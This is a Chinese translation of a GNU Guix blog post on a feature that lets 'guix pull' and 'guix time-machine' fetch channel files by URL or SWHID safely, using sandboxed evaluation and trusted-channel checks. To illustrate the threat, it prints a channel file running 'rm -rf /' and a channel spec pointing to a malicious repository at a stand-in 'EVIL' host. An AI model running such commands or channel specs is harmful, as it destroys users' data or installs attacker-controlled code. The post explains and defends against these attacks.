无国界的时间旅行

Lobsters Hottest 工具

摘要

本文探讨了 GNU Guix 的 `time-machine` 和 `pull` 命令的一项新功能,该功能支持通过单行命令从频道部署软件,同时解决了下载并执行不受信任代码所引发的安全问题。

<p><a href="https://lobste.rs/s/gz9o6e/time_travel_without_borders">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/05/13 00:22

# 无国界的时间旅行 —— 2026 —— 博客 —— GNU Guix 来源:https://guix.gnu.org/en/blog/2026/time-travel-without-borders/ ## 无国界的时间旅行 Ludovic Courtès — 2026年5月12日 当提供运行他人代码的选项时,首要考虑因素通常是部署的便捷性。虽然在支持快速部署方面取得了很大进步,但这些快速部署的安全影响往往被忽视。在本文中,我们将探讨 `guix time-machine` 和 `guix pull` 的一项新功能,以支持*单行部署命令*:能够下载频道文件,同时不 compromising 安全性。 ## 代码共享 使用 Guix 共享软件并使其易于部署的正常工作流程如下:某人戴上打包者的帽子,编写包定义,将其添加到 Guix 主仓库或单独的频道(https://guix.gnu.org/manual/devel/en/html_node/Channels.html),此时任何人都可以获取相关频道并部署软件。 例如,假设您希望在最新 Guix 修订版中打包的 `yt-dlp`(https://packages.guix.gnu.org/packages/yt-dlp)环境中运行,而不升级系统或经过显式的安装步骤。最简单的方法是执行以下命令: ``` guix time-machine -q -- shell yt-dlp -- yt-dlp ... ``` 如果您熟悉 Nix,这与以下命令等价——尽管存在一些我们将在下面讨论的重要差异: ``` nix shell nixpkgs#yt-dlp --command yt-dlp ... ``` 在这两种情况下,我们都在获取最新的包集合修订版(对于 Guix 是 `master` 分支,对于 Nix 是 Nixpkgs 的 `nixpkgs-unstable` 分支),并从中运行 `yt-dlp`。(`nix run`(https://nix.dev/manual/nix/2.28/command-ref/new-cli/nix3-run.html)更进一步,免去了指定命令名称的需要。) 现在,这是一个简单的例子,因为 `yt-dlp` 来自 Guix 本身。如果您想要部署另一个频道中的应用,比如 Guix-Science(https://codeberg.org/guix-science/guix-science)呢?嗯,您首先需要为 Guix-Science 准备一个 `channels.scm` 文件(https://hpc.guix.info/channel/guix-science),*然后*您可以将其传递给 `guix pull` 或 `guix time-machine`: ``` $EDITOR channels.scm # 确保其中包含 Guix-Science。 guix time-machine -C channels.scm -- shell ... ``` 如果您运气好,或许可以下载一个频道文件。例如,Cuirass(https://guix.gnu.org/en/cuirass)为所有成功评估的提交生成频道文件,因此您可以为 Guix-Science 获取一个(https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science)并从中继续: ``` wget -O channels.scm \ https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science guix time-machine -C channels.scm -- shell ... ``` 您甚至可以使用 Bash *进程替换*(https://doc.guix.gnu.org/bash/5.2.37/en/html_node/Process-Substitution.html)在一个命令中完成它! ``` guix time-machine \ -C <(wget -O https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science) \ -- shell ... ``` 但这真的是个好主意吗? ## 威胁 如果仔细观察,`nix shell` 命令和最后两个 `guix time-machine` 命令带有一点 `curl | sh` 的味道:下载任意代码并立即运行,不再进行其他检查。`nix shell` 所做的只是通过 HTTPS 验证 `github.com`,`wget` 也是如此——从真正的 `github.com` 下载并不能告诉您正在运行的代码是否可信。 在 Guix 的情况下,您下载的 `channels.scm` 可能如下所示: ``` (system* "rm" "-rf" "/") ;糟糕! ``` 这里 `system*`,正如您可能猜到的那样,会调用命令(https://doc.guix.gnu.org/guile/latest/en/html_node/Processes.html#index-system_002a)。是的,频道文件可以包含任意的 Scheme 代码!(值得注意的是,这个问题 Nix 并不存在:Nix 作为一种领域特定语言(DSL)已经限制了 Nix 代码能做什么,特别是在所谓“纯”评估的情况下。) 或者它可能像这样: ``` (list (channel (name 'guix) ;; 这是 Mallory 的恶意 Guix,现在你被 PWND 了! (url "https://example.org/EVIL/guix.git") (branch "master") (introduction (make-channel-introduction "badc0ffeed807b096b48283debdcddccfea34bad" (openpgp-fingerprint "DEAD CABB A99E F6A8 0D1D E643 A2A0 6DF2 A33A BADD"))))) ``` 在这种情况下,频道文件看起来不错,但您即将获取的频道——可能就不那么好了。 所以不:下载频道文件并在不检查的情况下使用它是不合理的。 ## 两全其美 我们能否既吃蛋糕又保留蛋糕?我们能否随意下载他人的频道文件而不危及系统安全? 刚刚在 `guix pull` 和 `guix time-machine` 中落地的更改旨在解决这些看似矛盾的需求。这两个命令现在能够自行下载:只需使用 `-C`(或 `--channels`)选项传递一个 URL 即可。 ``` guix time-machine \ -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master \ -- ... ``` 关键的是,此命令*不*等同于上面看到的简单 `-C <(wget -O ...)` 技巧。 首先,频道代码现在在一个“沙箱”(https://doc.guix.gnu.org/guile/latest/en/html_node/Sandboxed-Evaluation.html)中评估:它只能访问预定义的一组绑定,不能导入额外的模块,并且必须在有限的时间内运行并分配有限的内存。这仍然提供了许多通用设施的访问权限,但阻止了任何可能用于更改系统状态、外泄数据或导致拒绝服务的操作。 有了这一点,评估频道文件可以被认为是安全的。现在,还有一个问题:该文件可能会列出我作为用户不信任的频道。在这里,我们看到了从*外部*获取频道文件与保持系统安全之间的张力。为了解决这个问题,我们制定了一条新规则:只有*受信任的频道*可以被部署;如果频道文件列出了不受信任的频道,`guix pull` 和 `guix time-machine` 将报错。受信任的频道定义如下: - 如果存在 `~/.config/guix/trusted-channels.scm`,则为其列出的频道——该文件像常规频道文件一样列出频道; - 或者,它们是当前正在使用的频道,由 `guix describe` 返回。 这引出了一个有趣的问题:*频道身份*。我在 `trusted-channels.scm` 中称为 `guix-science` 的这个频道,其他人可能称其为 `Guix-Science` 或 `science`;我如何判断我们处理的是*我*称为 `guix-science` 且我信任的频道? 关键的见解是,名称本身并不重要;真正重要的是频道的“介绍”——告诉*如何*验证该频道更新的信息(https://guix.gnu.org/en/blog/2020/securing-updates/)。如果您忘记了那一集,介绍就是频道规范中出现的十六进制字符串部分: ``` (channel (name 'guix-past) (url "https://codeberg.org/guix-science/guix-past") (introduction ;这个十六进制乱码 👇 是频道的身份 (make-channel-introduction "0c119db2ea86a389769f4d2b9c6f5c41c027e336" (openpgp-fingerprint "3CE4 6455 8A84 FDC6 9DB4 0CFB 090B 1199 3D9A EBB5")))) ``` 具有相同介绍的兩個频道是同一个频道。因此,如果我的 `trusted-channels.scm` 包含具有上述介绍的频道,`pull` 和 `time-machine` 将乐意从中拉取。 推论是,无法验证身份的频道——即缺乏 `introduction` 字段的频道——不能被视为受信任的频道。 总体而言,这条“受信任频道”规则以灵活性换取安全性。这是一种权衡,但看起来比实质上等同于任意代码执行(如 `curl | sh`)的任何默认选项更好。 ## 聚会 “为什么要下载频道文件?”您可能会问。以下是我们设想的一些典型用例。 第一个是从持续集成系统下载频道文件——从已知良好的状态部署,测试新的包版本或新功能,重现错误等。Cuirass(https://guix.gnu.org/en/cuirass)为其评估的每个频道集提供频道文件。因此,例如,您可以像这样拉取最新成功评估的 Guix 频道: ``` guix pull -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master ``` 同样,以下是您如何前往最新的 Guix-Science 频道和依赖频道(https://guix.gnu.org/manual/devel/en/html_node/Declaring-Channel-Dependencies.html)以执行 RStudio 的方法: ``` guix time-machine \ -C https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science -- shell rstudio -- rstudio ``` 第二个类似用例是*演示的单行命令*:如果您正在开发应用程序,可以打包它,发布一个频道文件,并分享一个 `time-machine` 命令来启动它。使用固定频道(https://guix.gnu.org/manual/1.5.0/en/html_node/Replicating-Guix.html),您可以确保用户从已知良好的状态运行它。 第三个新兴用例是*频道版本*。维护第三方频道的团队可能希望将他们的频道版本标记为频道文件,其中每个频道都是固定的。这就是 Guix-Science 项目最近决定做的事情(https://codeberg.org/guix-science/guix-science/issues/528)。 同样,第四个用例是发布经过测试的频道文件,整个团队或整个计算机舰队都可以从中升级。想象一下,一组负责测试的人会定期发布一个新的频道文件,该文件固定在已知良好的提交上,所有团队成员或整个舰队都可以安全地从中拉取——它甚至可用于无人值守升级(https://guix.gnu.org/manual/devel/en/html_node/Unattended-Upgrades.html)! 第五个用例是*可重复研究*(https://guix.gnu.org/cookbook/en/html_node/Reproducible-Research.html)。计算工作流可以通过两个文件*捕获*(https://guix.gnu.org/cookbook/en/html_node/Recording-the-Environment.html):`channels.scm` 和 `manifest.scm`。在某些情况下,我们也可以下载频道文件。 ## 不协调? 但等等……敏锐的读者可能会感到一些不协调:*下载*频道文件来设置据称可重复的工作流?这不可能正确:频道文件可能会随时间改变,或者可能从原始 URL 消失。这不是可重复性,是吗? 正如 Simon Tournier 迅速建议的那样(https://codeberg.org/guix/guix/pulls/6745#issuecomment-11142860),解决方案是支持 SWHID(https://swhid.org/)(软件哈希标识符)除了 URL 之外。SWHID 本质上是一种标准化的内容哈希,唯一标识“内容”——原始数据或结构化数据,如目录和版本控制修订。如果您跟进了,您可能还记得 Guix 与软件遗产档案相连(https://guix.gnu.org/en/blog/2019/connecting-reproducible-deployment-to-a-long-term-source-code-archive/)。在 Guix 中打包的软件也在档案中(https://archive.softwareheritage.org/),所以我们所要做的就是连接这些点。 考虑以下命令: ``` guix time-machine \ -C swh:1:cnt:003e1e0c1b9b358082201332c926ae54e9549002 \ -- ... ``` 它下载由给定 SWHID(https://archive.softwareheritage.org/browse/search/?q=swh%3A1%3Acnt%3A003e1e0c1b9b358082201332c926ae54e9549002&with_visit=true&with_content=true)标识的频道文件,然后继续进行。 SWHID 作为明确且唯一的*内容地址*,用于引用特定的频道集。它可以使用 `guix hash`(https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-hash.html)计算,但当然,频道文件必须首先存在于软件遗产档案中。因此,如果文件是版本控制仓库的一部分,您可以首先请求归档该仓库(https://archive.softwareheritage.org/save/)。在研究论文中,可以包含一个命令来重新运行论文所基于的计算。 ## 愉悦 这一新添功能令人愉悦的原因有几个。首先,因为它解决了人们谈论了一段时间的用例,填补空白总是令人愉快的。这也感觉很好,因为几种设计选择相互补充,使得这里的一切都恰到好处:频道规范、Guile 的“沙箱”、频道验证和软件遗产集成。 整个 endeavor——允许快速部署而不 compromising 安全性——听起来可能像堂吉诃德式的,或者有些人可能会说,在 `pip`(https://hpc.guix.info/blog/2021/09/whats-in-a-package/)、`npm`(https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream/)、`snap`(https://linuxsecurity.com/news/hackscracks/crypto-stealing-malware-hits-snap-packages)等等都在不知疲倦地部署未知来源的软件的时代,这似乎是过时的。在 Guix 中,我们确实相信透明度、来源追踪和可验证性对于我们运行的软件至关重要;像这样的努力是由这些原则指导的。 该功能在几天前落地(https://codeberg.org/guix/guix/pulls/6745)。试一试,希望你也觉得愉快! ## 致谢 我感谢 Caleb “Reepca” Ristvedt 对他们彻底代码审查和富有见地的建议,以及 Simon Tournier 对总体方法的评论和建议改进。感谢 Rutherther 和 Cayetano Santos 审阅此帖子的早期草稿。 除非另有说明,本站上的博客文章均受其各自作者所有,并根据 CC-BY-SA 4.0(https://creativecommons.org/licenses/by-sa/4.0/)许可证以及 GNU 自由文档许可证(https://www.gnu.org/licenses/fdl-1.3.html)(版本 1.3 或更高版本,无不变章节,无封面文本,无封底文本)的条款发布。

相似文章

包管理器中的补丁与分支策略

Lobsters Hottest

本文探讨了在上游维护者未能解决漏洞时,针对不同语言包管理器修补和分支依赖项的策略。文章对比了系统包管理器强大的修补能力与语言注册表的局限性,并详细介绍了在各种生态系统中使用 Git 覆盖和分支等变通方法。

自调用可执行文件

Lobsters Hottest

本文介绍了自调用可执行文件的概念,即程序启动自身的另一个实例,并演示了其在 Go 测试(在子进程中运行 main 函数)和 TUI 工具(例如 jjui 使用 SSH_ASKPASS 通过子进程提示输入密码)中的应用。

标明版本!所有程序都必须报告其版本

Michael Stapelberg

本文主张在所有软件程序中强制进行版本标记,以改进事件响应,并以i3窗口管理器的版本报告系统作为案例研究,同时涵盖了使用Go和NixOS的实现细节。